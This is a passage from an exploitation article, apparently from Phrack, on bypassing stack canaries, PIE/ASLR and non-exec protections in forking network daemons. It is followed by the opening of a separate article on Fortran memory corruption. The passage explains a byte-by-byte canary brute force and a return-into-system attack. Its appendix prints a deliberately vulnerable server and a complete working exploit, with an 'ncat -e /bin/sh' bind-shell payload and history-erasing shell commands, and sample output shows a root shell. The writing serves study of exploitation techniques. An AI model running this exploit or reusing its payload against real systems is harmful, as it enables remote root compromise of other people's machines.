    if ( (strncmp(args,"vuln",4)) == 0) {                     [L1]
#ifdef __DEBUG
        stack_dump("BEFORE", buf);                            [L2]
#endif
        write(fd,"Vuln running...\nCopying bytes...",32);
        memcpy(buf,args+5,ile-5);                             [L3]
#ifdef __DEBUG
        stack_dump("AFTER", buf);                             [L4]
#endif
        write(fd,"\nDONE\nReturn to the main loop\n",30);     [L5]
        return 1;
    }

    else if ( (strncmp(args,"quit",4)) == 0) {
        write(fd,"Exiting...\n",11);
        return 0;
    }

    else {
        write(fd,"help:\n",6);
        write(fd," [*] vuln <args>\n",17);
        write(fd," [*] help\n",10);
        write(fd," [*] quit\n",10);
        return 1;
    }
}
---------------------------------------------------------------------------

Let's analyze a bit this function:

    *) The bug is triggered when an attacker supplies a "vuln XXXXX" with 
       a large enough "XXXXX" (> 100 bytes). [L1, L3]

    *) The attacker is fully able to control his payload without 
       restrictions (no payload filtering, no overflow restriction)  

    *) When the overflow takes place, we possibly overwrite some local 
       variables which may induce a bug in [L5] and possibly crash the 
       program.

Note: Because of the fork(), debugging can be tedious. As a result I added
a function to leak the stack layout in a file both before and after the 
overflow.

The program was compiled with -fstack-protector-all and -fpie -pie which
means that we will have to exploit the program with:
    
    *) Non exec + full ASLR (code and data segments are also randomized)
    *) Stack canary
    *) Ascii armored protection

Depending on the Unix target, some of these protections may or may not be 
effective. However we will assume that they are all activated.

Taking advantage of fork()
--------------------------

The first process of the exploitation is obviously to guess the stack 
cookie. As said earlier, fork() will grant us children with the same 
address space. As a result we will be able to guess the cookie with the 
technique described in 3.3 which allows us to arbitrary overwrite anything
(including of course the saved EIP).

In a second time, we need to find an address in which returning. One of the
best solution is to return into a function of the .text which would 
generate some network activity. However the server is a PIE binary thus an 
ET_DYN ELF object. As a result, the address of this function has to be 
guessed.
 
Now assuming that we have the original binary (fair assumption), the offset
of the function is known which means that we only need to bruteforce the 
load address of the ELF object. Since such an address is aligned on 
PAGE_SIZE basis, on a 32bits architecture the 12 less significant bits are
all 0.

For example consider the following code:

    10be:       e8 fc ff ff ff          call   10bf <main+0x2f3>    
    10c3:       c7 44 24 08 44 00 00    movl   $0x44,0x8(%esp)
      ^^----------------------- last byte value. not randomised at all
     ^------------------------- last half value. bottom nibble is not 
                    randomised

Additionally if Ascii Armour protection is used, the most significant byte
of the address will be 0x00 (something which does not happen under PaX).

The conclusion is that the amount to bruteforce is so small that it can be
done in a couple of seconds/minutes through the network.

Studying the stack layout
--------------------------

Thanks to our debugging function, it's easy to see the stack layout when 
the crash occurs. Here is the layout on an Ubuntu 10.04 before the 
overflow:

        bfa38648: 00000000 00000000 00000000 00000000
        bfa38658: 00000000 00000000 00000000 00000000
        bfa38668: 00000000 00000000 00000000 00000000
        bfa38678: 00000000 00000000 00000000 00000000
        bfa38688: 00000000 00000000 00000000 00000000
        bfa38698: 00000000 00000000 00000000 00000000
        bfa386a8: 00000000 8c261700 00000004 005cdff4
        bfa386b8: bfa387f8 005cbec1 bfa386f4 00000004
        bfa386c8: 0000005f 00000000 00258be0 00257ff4
        bfa386d8: 00000000 0000005f 00000003 00000004
        bfa386e8: 0000029a 00000010 00000000 6e6c7576

We can thus see that:

    *) The cookie (0x8c261700) is at 0xbfa386ac.
    *) The return address is 0x005cbec1
    *) The argument of vuln_func() are (0xbfa386f4, 0x4 and 0x5f)

There is a really nice way to take advantage of this situation. If we chose
to return into the 'call vuln_func()' instruction then the arguments will 
be reused and the function replayed which will generate the needed network
flow to detect the right value of the base address. Here is the C code 
building our payload:

        addr_callvuln = P_REL_CALLVULN + (base_addr << 12);

        *(buf_addr++) = canary; 
        *(buf_addr++) = addr_callvuln;  // <-- dummy
        *(buf_addr++) = addr_callvuln;  // <-- dummy
        *(buf_addr++) = addr_callvuln;  // <-- dummy 
        *(buf_addr++) = addr_callvuln;  // <-- ret-into-callvuln!

Note: Overwriting the next 4 bytes (args) with addr_callvuln is also 
possible. Depending on the situation (whether you have the binary or not), 
it can be an option to help with the bruteforce.

Returning-into-system
---------------------

Now the idea is to get the shell. Since we know the load address, the only
thing that needs to be done is to call a function which will give us a 
shell. Again this is very specific to the daemon that you need/want to 
exploit but in this case, I exploited the use of system(). Indeed in the 
code you can find:


    c8d:       e8 d6 fb ff ff          call   868 <system@plt>

     ^-------------------------------  cool offset

One may object that there is also the system parameter to find but "args" 
is on the stack and pointing to a user controlled buffer which means that 
we can do a return-into-callsystem(args).

Note: In this case we were lucky (it was not done on purpose!) but the 
following situation could also have occurred:

             int vuln_func(int fd, char *args, int ile);

In this case, the layout would be...

                               [   ....  ]
                               [ old_ebp ]
                               [ old_eip ]
                               [   fd    ]
                               [   args  ]
                               [   ile   ]
                               [   ....  ]

This would make no difference as we could use a return-into-ret and 
overwrite fd with callsystem. An other solution would be to deduce the 
address of the system() entry in the PLT and to call it as its first 
argument would be "args" (classical return-into-func).

Note: It may happen in real life situation that you have no stack address
at disposal. Thus there are 2 solutions:

    *) You bruteforce this address. It's lame. But sometimes you have no
       other options (like when the overflow is limited which restricts 
       your ability to performed chained return-into-*.

    *) You create a new stack frame somewhere in the .data section. Knowing
       the loading address of the ELF object, it's easy to locate the .data
       section. You would thus be able to create a whole fake stack frame 
       using a chained return-into-read(fd, &newstack_in_data, len) and 
       then finally switch the stack using a leave-ret sequence. Fun and 
       100% cool.

It that all? Not quite. We need to be sure that we will be able to reach 
the 'ret' before crashing. Let's have a look at the epilogue of the 
function:

objdump --no-show-raw-insn -Mintel -d ./s 


     fb1:       call   8f8 <memcpy@plt>     
     fb6:       lea    eax,[ebp-0x70]               ; the overflow occurred
     fb9:       mov    DWORD PTR [esp+0x4],eax
     fbd:       lea    eax,[ebx-0x1bdf]
     fc3:       mov    DWORD PTR [esp],eax
     fc6:       call   10ca <stack_dump>
     fcb:       mov    DWORD PTR [esp+0x8],0x1e
     fd3:       lea    eax,[ebx-0x1bd8]
     fd9:       mov    DWORD PTR [esp+0x4],eax
     fdd:       mov    eax,DWORD PTR [ebp+0xc]      ; we control the fd
     fe0:       mov    DWORD PTR [esp],eax
     fe3:       call   878 <write@plt>
     fe8:       mov    eax,0x1
     fed:       jmp    10b0 <vuln_func+0x1b1>

    [...]

    10b0:       mov    edx,DWORD PTR [ebp-0xc]
    10b3:       xor    edx,DWORD PTR gs:0x14
    10ba:       je     10c1 <vuln_func+0x1c2>
    10bc:       call   1280 <__stack_chk_fail_local>
    10c1:       add    esp,0x94
    10c7:       pop    ebx                          ; interesting
    10c8:       pop    ebp
    10c9:       ret    

The deadlisting is quite straightforward. The only local variable that is
trashed is the fd used by write(). Does it matter? No. In the worst case,
the write() will return an EBADF error.

What about the ebx register? Well as a matter of fact, it is important to
restore its value since it's a PIE. Indeed ebx is used as a global address:

    00000868 <system@plt>:
     868:   jmp    DWORD PTR [ebx+0x20]  ; ebx is pointing on the PLT 
                                         ; (.got.plt)
     86e:   push   0x28
     873:   jmp    808 <_init+0x30>

It's no big deal since the address of the .got.plt section is exactly:
load_addr + the memory offset (cf. readelf -S). Here is the final stack 
frame:

    *(buf_addr++) = 0x00000004;
    *(buf_addr++) = (P_REL_GOT + (base_addr << 12));  // used by the GOT.
    *(buf_addr++) = 0x41414141;
    *(buf_addr++) = system_addr;
                                      // <-- Here is the buffer address 


When there is no system()
-------------------------

The previous situation was a bit optimistic. Indeed when system() is not
used in the program, there is obviously no "call system" instruction (and
no corresponding PLT entry either). But it's no big deal a 
return-into-write-like() function is always possible as illustrated below:

    *(buf_addr++) = 0x00000004;
    *(buf_addr++) = (P_REL_GOT + (base_addr << 12));
    *(buf_addr++) = 0x41414141;
    *(buf_addr++) = write_addr;  // retun into call_write(fd, buf, count)
    *(buf_addr++) = 0x00000004;  // fd
    *(buf_addr++) = some_addr;   // buf
    *(buf_addr++) = 0x00000005;  // count

With such a primitive it's easy to info leak anything needed. This could
allow you to perform a return-into-dl-resolve() as illustrated in [10]. The
implementation of this technique with the PoC exploit is left as an 
exercise for the reader.

Final algorithm
---------------

So in the end the final algorithm is:

1) Looking for the distance needed to reach the canary of the death
2) Finding the value of this canary using a 'byte-by-byte' brute force 
   method
3) Using the value of this canary to legitimate overflows, we should start 
   finding the code segment by returning in a function leaking information.
4) Deducing everything needed using the load address
5) Build a new chained return-into-* attack and get the shell! 

And it should give you something like that:

---------------------------------------------------------------------------
[root@pi3-test phrack]# gcc s.c -o s -fpie -pie -fstack-protector-all
[root@pi3-test phrack]# ./s
start

Launched into background (pid: 32145)

[root@pi3-test phrack]#
...
...
child 32106 terminated
sh: vuln: nie znaleziono polecenia


[pi3@pi3-test phrack]$ gcc moj.c -o moj
[pi3@pi3-test phrack]$ ./moj -v 127.0.0.1

        ...::: -=[ Bypassing pro-police PoC for server by Adam 'pi3 
(pi3ki31ny)' Zabrocki ]=- :::...

        [+] Trying to find the position of the canary...
        [+] Found the canary! => offset = 101 (+11)
        [+] Trying to find the canary...
        [+] Found byte! => 0x8e
        [+] Found byte! => 0x17
        [+] Found byte! => 0xa4
        [+] Found byte! => 0xd7
        [+] Overwriting frame pointer (EBP?)...
        [+] Overwriting instruction pointer (EIP?)...
        [+] Starting bruteforce...
        [+] Success! :) (0x110eee0a)
                -> @call_write = 0x110eed6c
                -> @call_system = 0x110eeb9b
        [+] Trying ret-into-system...
        [+] Connecting to bindshell...

pi3 was here :-)
Executing shell...

uid=0(root) gid=0(root) 
grupy=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
Linux pi3-test 2.6.32.13-grsec #1 SMP Thu May 13 17:07:21 CEST 2010 i686 
i686 i386 GNU/Linuxexit;
---------------------------------------------------------------------------

The demo exploit can be found in the appendix. It was tested on many 
systems including:

    *) Linux (Fedora 10, Fedora 11, Fedora 12)
    *) Linux with PaX patch (2.6.32.13-grsec)
    *) OpenBSD (4.4, 4.5, 4.6)
    *) FreeBSD (7.x)


---[ 6 - Conclusion

Due to modern protections, classical methods of exploitation may or may not
be sufficient to exploit remote stack overflows. We saw that in the context
of fork()-only daemons a few conditions were sometimes sufficient for that 
purpose.

At this moment I want to send some greetings... I know it is lame and
unprofessional ;)

 -> Ewa - moja kochana dziewczyna ;)
 -> Akos Frohner, Tomasz Janiczek, Romain Wartel - you are good friends ;)
 -> snoop, phunk, thorkill, Piotr Bania, Gynvael Coldwind, andrewg, and 
    #plhack@IRCNET

"... opetani samotnoscia..."

Best regards Adam Zabrocki. - "Ja tylko sprzatam..."


---[ 7 - References

 [1] http://phrack.org/issues.html?issue=56&id=5#article
 [2] The Shellcoder's Handbook - Chris Anley, John Heasman, 
     Felix "FX" Linder, Gerardo Richarte
 [4] http://marc.info?m=97288542204811
 [5] http://pax.grsecurity.net
 [6] http://www.trl.ibm.com/projects/security/ssp/
 [7] http://gcc.gnu.org/gcc-4.1/changes.html
 [8] http://xorl.wordpress.com/2010/10/14/linux-glibc-stack-canary-values/
 [9] http://sota.gen.nz/hawkes_openbsd.pdf
[10] http://www.phrack.org/issues.html?issue=58&id=4
[11] http://seclists.org/bugtraq/1997/Aug/63
[12] http://phrack.org/issues.html?issue=59&id=9#article
[13] http://www.phrack.org/issues.html?issue=63&id=14

---[ 8 - Appendix - PoC


---[ 8.1 - The server (s.c)

----------------------------------- CUT -----------------------------------
/*
 * This is simple server which is vulnerable to stack overflow attack.
 * It was written for demonstration of the remote stack overflow attack in 
 * modern *NIX systems - bypass everything - ASLR, AAAS, ESP, SSP 
 * (ProPolice).
 *
 * Best regards,
 * Adam Zabrocki
 * --
 * pi3 (pi3ki31ny) - pi3 (at) itsec pl
 * http://pi3.com.pl
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <errno.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <signal.h>
#include <sys/wait.h>
#include <unistd.h>

#define PORT 666
#define PIDFILE "/var/run/vuln_server.pid"
#define err_sys(a) {printf("%s[%s]\n",a,strerror(errno));exit(-1);}
#define SA struct sockaddr

#define SRV_BANNER "Some server launched by root user\n"

int vuln_func(char *, int, int);
void stack_dump(char *, char *);
void sig_chld(int);

int main(void) 
{

    int status,dlugosc,port=PORT,connfd,listenfd,kupa;
    struct sockaddr_in serv,client;
    char buf[200];
    pid_t pid;
    FILE *logs;

    if ( (listenfd=socket(PF_INET, SOCK_STREAM, 0)) < 0)
        err_sys("Socket() error!\n");

    bzero(&serv,sizeof(serv));
    bzero(&client,sizeof(client));
    serv.sin_family = PF_INET;
    serv.sin_port = htons(port);
    serv.sin_addr.s_addr=htonl(INADDR_ANY);

    if ( (bind(listenfd,(SA*)&serv,sizeof(serv))) != 0 )
        err_sys("Bind() error!\n");

    if ((listen(listenfd,2049)) != 0)
        err_sys("Listen() error!\n");

    system("echo start");
    status=fork();
    if (status==-1) err_sys("[FATAL]: cannot fork!\n");
    if (status!=0) {
        logs=fopen(PIDFILE, "w");
        fprintf(logs,"pid = %u",status);
        printf("\nLaunched into background (pid: %d)\n\n", status);
        fclose(logs);
        logs=NULL;
        return 0;
    }

    status=0;
    signal (SIGCHLD,sig_chld);

    for (;;) {
        
        dlugosc = sizeof client;

        if((connfd=accept(listenfd,(SA*)&client,(socklen_t *)&dlugosc))< 0)
            err_sys("accept error !\n");

        if ( (pid=fork()) == 0) {

            if ( close(listenfd) !=0 )
                err_sys("close error !\n");

            write(connfd, SRV_BANNER, strlen(SRV_BANNER));

            for (;;) {
                bzero(buf,sizeof(buf));
                kupa = recv(connfd, buf, sizeof(buf), 0);
                if ( (vuln_func(buf,connfd, kupa)) != 1)
                    break;
            }
            
            close(connfd);
            exit(0);
        }
        else
            close(connfd);        
    }
}

int vuln_func(char *args, int fd, int ile) {

    char buf[100];
    memset(buf, 0, sizeof buf);

    if ( (strncmp(args,"vuln",4)) == 0) {
#ifdef __DEBUG
        stack_dump("BEFORE", buf);
#endif
        write(fd,"Vuln running...\nCopying bytes...",32);
        memcpy(buf,args+5,ile-5);
#ifdef __DEBUG
        stack_dump("AFTER", buf);
#endif
        write(fd,"\nDONE\nReturn to the main loop\n",30);
        return 1;
    }

    else if ( (strncmp(args,"quit",4)) == 0) {
        write(fd,"Exiting...\n",11);
        return 0;
    }

    else {
        write(fd,"help:\n",6);
        write(fd," [*] vuln <args>\n",17);
        write(fd," [*] help\n",10);
        write(fd," [*] quit\n",10);
        return 1;
    }
}

void stack_dump(char *header, char *buf)
{
    int i;
    unsigned int *p = (unsigned int *)buf;
    FILE *fp;

    fp=fopen("./dupa.txt","a");
    fprintf(fp,"%s\n",header);

    for (i=0;i<240;)
    {
        fprintf(fp,"%.8x: %.8x %.8x %.8x %.8x\n", (unsigned int)p, 
        *p, *(p+1), *(p+2), *(p+3));
        p += 4;
        i += sizeof(int) *4;
    }
    fprintf(fp,"\n");
    fclose(fp);
    return;
}

void sig_chld(int signo) 
{

    pid_t pid;
    int stat;

    while ( (pid = waitpid(-1, &stat, WNOHANG)) > 0)
        printf("child %d terminated\n",pid);
    return;
}
----------------------------------- CUT -----------------------------------

---[ 8.2 - The exploit (moj.c)

----------------------------------- CUT -----------------------------------
/*
 * This is Proof of Concept exploit which bypass everything (SSP 
 * [pro-police], ASLR, AAAS, ESP) and use modified ret-into-libc technique 
 * to execute shell.
 *
 * Article about modified ret-into-libc technique you can find on my web - 
 * it was published some years ago on bugtraq and now it is very useful :)
 *
 * Ps. Address of ret-to-call_system@plt that you should change is
 *     P_REL_CALLSYSTEM
 *     The same you be done with directive P_REL_CALLVULN and P_REL_GOT. 
 *     P_REL_CALLWRITE (info leak) is unused in this version of PoC.
 *     P_CMD holds the command which will be executed - you can change if 
 *     you want ;)
 *
 * Best regards,
 * Adam Zabrocki
 * --
 * pi3 (pi3ki31ny) - pi3 (at) itsec pl
 * http://pi3.com.pl
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <getopt.h>
#include <errno.h>

#define PORT 666
#define BUFS 250
#define START 90

#define P_REL_CALLVULN      0xe0a
#define P_REL_CALLWRITE     0xd6c
#define P_REL_CALLSYSTEM    0xb9b
#define P_REL_MASK          0x0FFF
#define P_REL_GOT           0x25a4 // 0x2644

#define SA struct sockaddr

/* Thic CMD variable is only for PoC. You should choose it individually */
//#define P_CMD "|| nc -l -p 4444 -e /bin/sh;"
#define P_CMD "|| ncat -l -p 4444 -e /bin/sh;"

int shell(int);

int usage(char *arg) 
{
    printf("\n\t...::: -=[ Bypassing pro-police for PoC server by Adam "
           "'pi3 (pi3ki31ny)' Zabrocki ]=- :::...\n");
    printf("\n\tUsage:\n\t[+] %s [options]\n",arg);
    printf("         -? <this help screen>\n");
    printf("         -b <local_buff_brute_force_start_address>\n");
    printf("         -p port\n");
    printf("         -v <victim>\n\n");
    exit(-1);
}

int main(int argc, char *argv[]) 
{
unsigned int brute = 0;

    int ret, *buf_addr, global_cnt = 0;
    char *buf,read_buf[4096],cannary[0x4] = { 0x0, 0x0, 0x0, 0x0 };
    struct sockaddr_in servaddr;
    struct hostent *h;
    int elo, port=PORT, opt, sockfd, test=0, offset=0, test2 = 0;
    int helper = 0, position_found = 0;
    int write_addr = 0, system_addr = 0;

    struct timeval tv;

    while((opt = getopt(argc,argv,"p:b:v:?")) != -1) {
        switch(opt) {
            case 'b':
                sscanf(optarg,"%x",&brute);
                break;

            case 'p':
                port=atoi(optarg);
                break;

            case 'v':
                test=1;
                if ( (h=gethostbyname(optarg)) == NULL) {
                    printf("gethostbyname() failed!\n");
                    exit(-1);
                }
                break;

            case '?':
            default:
                usage(argv[0]);
            }
    }

    if (test==0)
        usage(argv[0]);

    servaddr.sin_family = AF_INET;
    servaddr.sin_port = htons(port);
    servaddr.sin_addr.s_addr = htonl(INADDR_ANY);
    servaddr.sin_addr = *(struct in_addr*)*h->h_addr_list;

    if (!(buf=(char*)malloc(BUFS))) {
        exit(-1);
    }

    setbuf(stdout,NULL);
    printf("\n\t...::: -=[ Bypassing pro-police PoC for server by Adam "
           "'pi3 (pi3ki31ny)' Zabrocki ]=- :::...\n");
    printf("\n\t[+] Trying to find the position of the canary...\n");


    for (position_found=0;!position_found;global_cnt++) {

        memset(buf,0x0,BUFS);
        strcpy(buf,"vuln ");

        memset(&buf[5], 0x41, START+global_cnt);

        if ( (sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0) {
            printf("Socket() error!\n");
            exit(-1);
        }

        if ( (connect(sockfd,(SA*)&servaddr,sizeof(servaddr))) < 0) {
            printf("Connect() error!\n");
            exit(-1);
        }
/*
        // You can optimize waiting via timeout
        tv.tv_sec=0,tv.tv_usec=40000;
        if ( (setsockopt(sockfd,SOL_SOCKET,SO_RCVTIMEO,&tv,sizeof(tv))) 
           != 0) {
            printf("setsockopt() error!\n");
            exit(-1);
        }
*/
        bzero(read_buf,sizeof(read_buf));
        read(sockfd,read_buf,sizeof(read_buf));

        write(sockfd,buf,strlen(buf));

        bzero(read_buf,sizeof(read_buf));
        read(sockfd,read_buf,32);
        bzero(read_buf,sizeof(read_buf));
        read(sockfd,read_buf,30);

        write(sockfd,"quit",4);

        bzero(read_buf,sizeof(read_buf));
        ret = read(sockfd,read_buf,sizeof(read_buf));

        if(ret <= 0) {
            printf("\t[+] Found the canary! => offset = %d (+%d)\n",
                    START+global_cnt,global_cnt);
            position_found = 1;
        }
        close(sockfd);
    }

    printf("\t[+] Trying to find the canary...\n");

    global_cnt--;
    for (elo=0;elo<4;elo++) {
        for (opt=0; opt<256; opt++) {



            memset(buf,0x0,BUFS);
            strcpy(buf,"vuln ");

            memset(&buf[5], 0x41, START+global_cnt);
            memcpy(&buf[5+START+global_cnt-1], cannary, elo);
            buf[5+START+global_cnt-1+elo]=opt;

            if ( (sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0) {
                printf("socket() error!\n");
                exit(-1);
            }

            if ( (connect(sockfd,(SA*)&servaddr,sizeof(servaddr)) ) < 0) {
                printf("connect() error!\n");
                exit(-1);
            }
/*
            // You can optimize waiting via timeout
            tv.tv_sec=0,tv.tv_usec=40000;
            if ( (setsockopt(sockfd,SOL_SOCKET,SO_RCVTIMEO,&tv,sizeof(tv)))
               != 0) {
                printf("setsockopt() error!\n");
                exit(-1);
            }
*/
            bzero(read_buf,sizeof(read_buf));
            read(sockfd,read_buf,sizeof(read_buf));
            do {
                unsigned int an_egg = START+global_cnt+5+elo;
                write(sockfd,buf,an_egg);
            } while(0);

            bzero(read_buf,sizeof(read_buf));
            read(sockfd,read_buf,32);
            bzero(read_buf,sizeof(read_buf));
            read(sockfd,read_buf,30);

            write(sockfd,"quit",4);

            bzero(read_buf,sizeof(read_buf));
            ret = read(sockfd,read_buf,sizeof(read_buf));

            if (ret > 0) {
                printf("\t[+] Found byte! => 0x%02x\n",opt);
                cannary[elo] = opt;
                close(sockfd);
                break;
            }
            /* If we miss somehow the byte... */
            if (opt == 255)
               opt = 0x0;
            close(sockfd);
        }
    }

    printf("\t[+] Overwriting frame pointer (EBP?)...\n");
    printf("\t[+] Overwriting instruction pointer (EIP?)...\n");
    printf("\t[+] Starting bruteforce...\n");

    for (offset=0,test2=0x0,opt=0;test&&!offset;test2++,opt++) {
        memset(buf,0,BUFS);
        strcpy(buf,"vuln ");

        memset(&buf[5], 0x41, START+global_cnt);
        memcpy(&buf[5+START+global_cnt-1], cannary, elo);

        buf_addr=(int*)&buf[5+START+global_cnt-1+elo];
        helper = (P_REL_CALLVULN & P_REL_MASK) | (test2 << 12);

        *(buf_addr++) = 0xdeadbabe;
        *(buf_addr++) = (P_REL_GOT + (test2 << 12));  // used by the GOT.
        *(buf_addr++) = helper;

        if ( (sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0) {
            printf("socket() error!\n");
            exit(-1);
        }

        if ( (connect(sockfd,(SA*)&servaddr,sizeof(servaddr))) < 0) {
            printf("connect() error!\n");
            exit(-1);
        }
/*
        // You can optimize waiting via timeout
        tv.tv_sec=0,tv.tv_usec=40000;
        if ( (setsockopt(sockfd,SOL_SOCKET,SO_RCVTIMEO,&tv,sizeof(tv))) 
           != 0) {
            printf("setsockopt() error!\n");
            exit(-1);
        }
*/
        bzero(read_buf,sizeof(read_buf));
        read(sockfd,read_buf,sizeof(read_buf));

        write(sockfd,buf,5+START+global_cnt-1+elo+(4-1)*4);

        bzero(read_buf,sizeof(read_buf));
        read(sockfd,read_buf,32);

        bzero(read_buf,sizeof(read_buf));
        read(sockfd,read_buf,30);

        write(sockfd,"quit",4);

        bzero(read_buf,sizeof(read_buf));
        ret = read(sockfd,read_buf,sizeof(read_buf));

        if(ret > 0) {

            /* At that point we successfully called vuln_func()
               which means that we "probably" returned in [I1]

     e67:       8b 44 24 1c             mov    0x1c(%esp),%eax
     e6b:       89 44 24 08             mov    %eax,0x8(%esp)
     e6f:       8b 44 24 24             mov    0x24(%esp),%eax
     e73:       89 44 24 04             mov    %eax,0x4(%esp)
     e77:       8d 44 24 34             lea    0x34(%esp),%eax
     e7b:       89 04 24                mov    %eax,(%esp)
     e7e:       e8 3e 00 00 00          call   ec1 <vuln_func>   [I1]
            */

            write_addr = (P_REL_CALLWRITE & P_REL_MASK) | (test2 << 12);
            system_addr = (P_REL_CALLSYSTEM & P_REL_MASK) | (test2 << 12);
            printf("\t[+] Success! :) (0x%.8x)\n",helper);
            printf("\t\t-> @call_write = 0x%.8x\n",write_addr);
            printf("\t\t-> @call_system = 0x%.8x\n",system_addr);
            offset=1;
        }
        close(sockfd);
    }

    if (!offset) {
        printf("\t[-] Exploit Failed! :(\n\n");
        exit(-1);
    }

    printf("\t[+] Trying ret-into-system...\n");

    memset(buf,0x0,BUFS);
    strcpy(buf,"vuln ");

    memset(&buf[5], 0x41, START+global_cnt);
    memcpy(&buf[5], P_CMD, strlen(P_CMD));

    memcpy(&buf[5+START+global_cnt-1], cannary, elo);

    buf_addr=(int*)&buf[5+START+global_cnt-1+elo];
    test2--;

    *(buf_addr++) = 0xdeadbabe;
    *(buf_addr++) = (P_REL_GOT + (test2 << 12));  // used by the GOT.
    *(buf_addr++) = 0x41414141;
    *(buf_addr++) = system_addr;

    if ( (sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0) {
        printf("Socket() error!\n");
        exit(-1);
    }

    if ( (connect(sockfd,(SA*)&servaddr,sizeof(servaddr))) < 0) {
        printf("Connect() error!\n");
        exit(-1);
    }
/*
    // You can optimize waiting via timeout
    tv.tv_sec=0,tv.tv_usec=40000;
    if ( (setsockopt(sockfd,SOL_SOCKET,SO_RCVTIMEO,&tv,sizeof(tv))) != 0) {
        printf("setsockopt() error!\n");
        exit(-1);
    }
*/
    bzero(read_buf,sizeof(read_buf));
    read(sockfd,read_buf,sizeof(read_buf));

    write(sockfd,buf,4+START+global_cnt+4+4*4);
 
    bzero(read_buf,sizeof(read_buf));
    ret = read(sockfd,read_buf,32);

    bzero(read_buf,sizeof(read_buf));
    ret = read(sockfd,read_buf,30);

    if(ret == 30) {
        printf("\t[+] Connecting to bindshell...\n\n");

        sleep(2);
        if ( (sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0) {
            printf("Socket() error!\n");
            exit(-1);
        }
        servaddr.sin_port = htons(4444);

        if ( (connect(sockfd,(SA*)&servaddr,sizeof(servaddr)) ) <0 ) {
            printf("Connect() error!\n");
            exit(-1);
        }
        shell(sockfd);
    }

    return 0;
}

int shell(int fd)
{
    int rd ;
    fd_set rfds;
    static char buff[1024];
    char INIT_CMD[] = "echo \"pi3 was here :-)\"; "
    "echo \"Executing shell...\"; "
    "unset HISTFILE; echo; id; uname -a\n";

    write(fd, INIT_CMD, strlen( INIT_CMD ));

    while (1) {
        FD_ZERO(&rfds);
        FD_SET(0, &rfds);
        FD_SET(fd, &rfds);

        if (select(fd+1, &rfds, NULL, NULL, NULL) < 1) {
            perror("[-] Select");
            exit( EXIT_FAILURE );
        }

        if (FD_ISSET(0, &rfds)) {

            if ( (rd = read(0, buff, sizeof(buff))) < 1) {
               perror("[-] Read");
               exit(EXIT_FAILURE);
            }

            if (write(fd,buff,rd) != rd) {
               perror("[-] Write");
               exit( EXIT_FAILURE );
            }
        }

        if (FD_ISSET(fd, &rfds)) {
            if ( (rd = read(fd, buff, sizeof(buff))) < 1) {
               exit(EXIT_SUCCESS);
            }
            write(1, buff, rd);
        }
    }
}
----------------------------------- CUT -----------------------------------

Exploiting Memory Corruptions in Fortran Programs Under Unix/VMS

---[ 1 - Introduction


---[ 1.1 - A Fortran tale

Fortran -FORmula TRANslation- is one of the oldest high level programming
language ever created. Being well aware of the fact that youngsters aren't
interested anymore in history, I'll go straight to the point.

Fortran is .NOT. (yet) dead (though 'perforated cards' hackers probably 
are). Not only did it remain actively used in the very underground
scientific/banking sectors but it also evolved to the point where it got
its last update in 2008. Hey son, you didn't know that, did you?
Now if you ever took Fortran classes in college/university then there is a
good chance that your teacher voluntary missed a few things as Fortran is
generally taught as a procedural programming language for beginners. As
such, you might have been asked to program some crappy math oriented 
program with basic features and never really got the chance to play with
the interesting features of the language.
Fortran was once an old fashioned language with limited features and boring
syntax constraints. Forget about all that. Nowadays Fortran includes modern
features such as dynamic allocation and MPI which make it suitable for
implementing both complex algorithms and parallel computing. Now add that
to the fact that modern compilers exist for almost all common operating
systems and that they produce high-lol-ly efficient code which can be 
linked to C and even Java programs. You can also use GTK or OpenGL if you
wish. You're impressed kid, I can see that in your eyes.

                                  @(*_*)@

---[ 1.2 - Who cares about Fortran anyway?

Well I do and let me tell you why you should too:

   a. It may not be too good looking at first but at least it's way sexier
      than COBOL.
   b. Your father was programming in Fortran using perforated cards and got
      headaches doing so. Sounds like a cool subject in family diner.
   c. Vintage web is the best. Just try typing Fortran in google to admire
      beautiful and authentic Web 0.1 HTML.
   d. Wikipedia tells us that "It is one of the most popular languages in
      the area of high-performance computing and is the language used for
      programs that benchmark and rank the world's fastest supercomputers."
      We should always believe wikipedia.
   e. You mastered tabs in python and couldn't think of new ways to be cool
      on BBS^H^H^HIRC? Well then try to master Fortran 77's indentation
      constraints. You might even be able to impress chicks. It used to
      work almost forty years ago (.OR. .NOT.).

Still not convinced? OK so what if Fortran programs were used in strategic
areas you've only heard of? What if Fortran programs were more buggy [R1] 
than they seemed? What if you could exploit some appropriate bug in a 
Fortran program and then own the _whole_ _damn_ _world_? That would be 
extraordinary, wouldn't it? Well cool down man that would also remain a
dream :>

                                    ---

---[ 2 - A short introduction to the language basics

In order to properly understand the paper, you'll need the basics in
Fortran programming. Since Fortran 77 (F77) isn't used anymore, the article
is focused on F90 (Fortran 90) whose syntax mostly remained compatible
throughout the different revisions of the standard. Specific features added
by Fortran 95 (F95) up to Fortran 2008 (F2008) are discussed in Chap 2.2 
though not really _that_ interesting in the context of this paper. You can 
easily skip the aforementioned explanation.


---[ 2.1 - An overview of Fortran syntax

Fortran is a procedural compiled language whose syntax is quite easy to
learn albeit sometimes not intuitive. Let's begin with the traditional
'Hello World':

 -----BEGIN EXAMPLE 1-----
 $ cat ex1.f90
  ! Dummy comment 
  PROGRaM EX1                                     [L1]
  CHARACTER(len=20) :: hellostr='Hello World!'    [L2]
  write(*,fmt='(A)') hellOstr                     [L3]
  END PROGRAM                                     [L4]
 $ gfortran ex1.f90
 $ ./a.out 
 Hello World!
 $
 -----END EXAMPLE 1-----

   *) '!' marks the beginning of a comment.

   *) A Fortran program is divided in several blocks. [L1] declares the
      beginning of the PROGRAM (the MAIN_() function) and requires the
      according 'END' in [L4]. Other types of blocks include FUNCTION and
      SUBROUTINE, the difference between them being essentially whether or
      not they return a value.

      Note: This language keywords are case insensitive as shown in [L1].

   *) Variables are declared at the beginning of the blocks and are also
      case insensitive ([L2] vs [L3]) and preceded by a type. According to
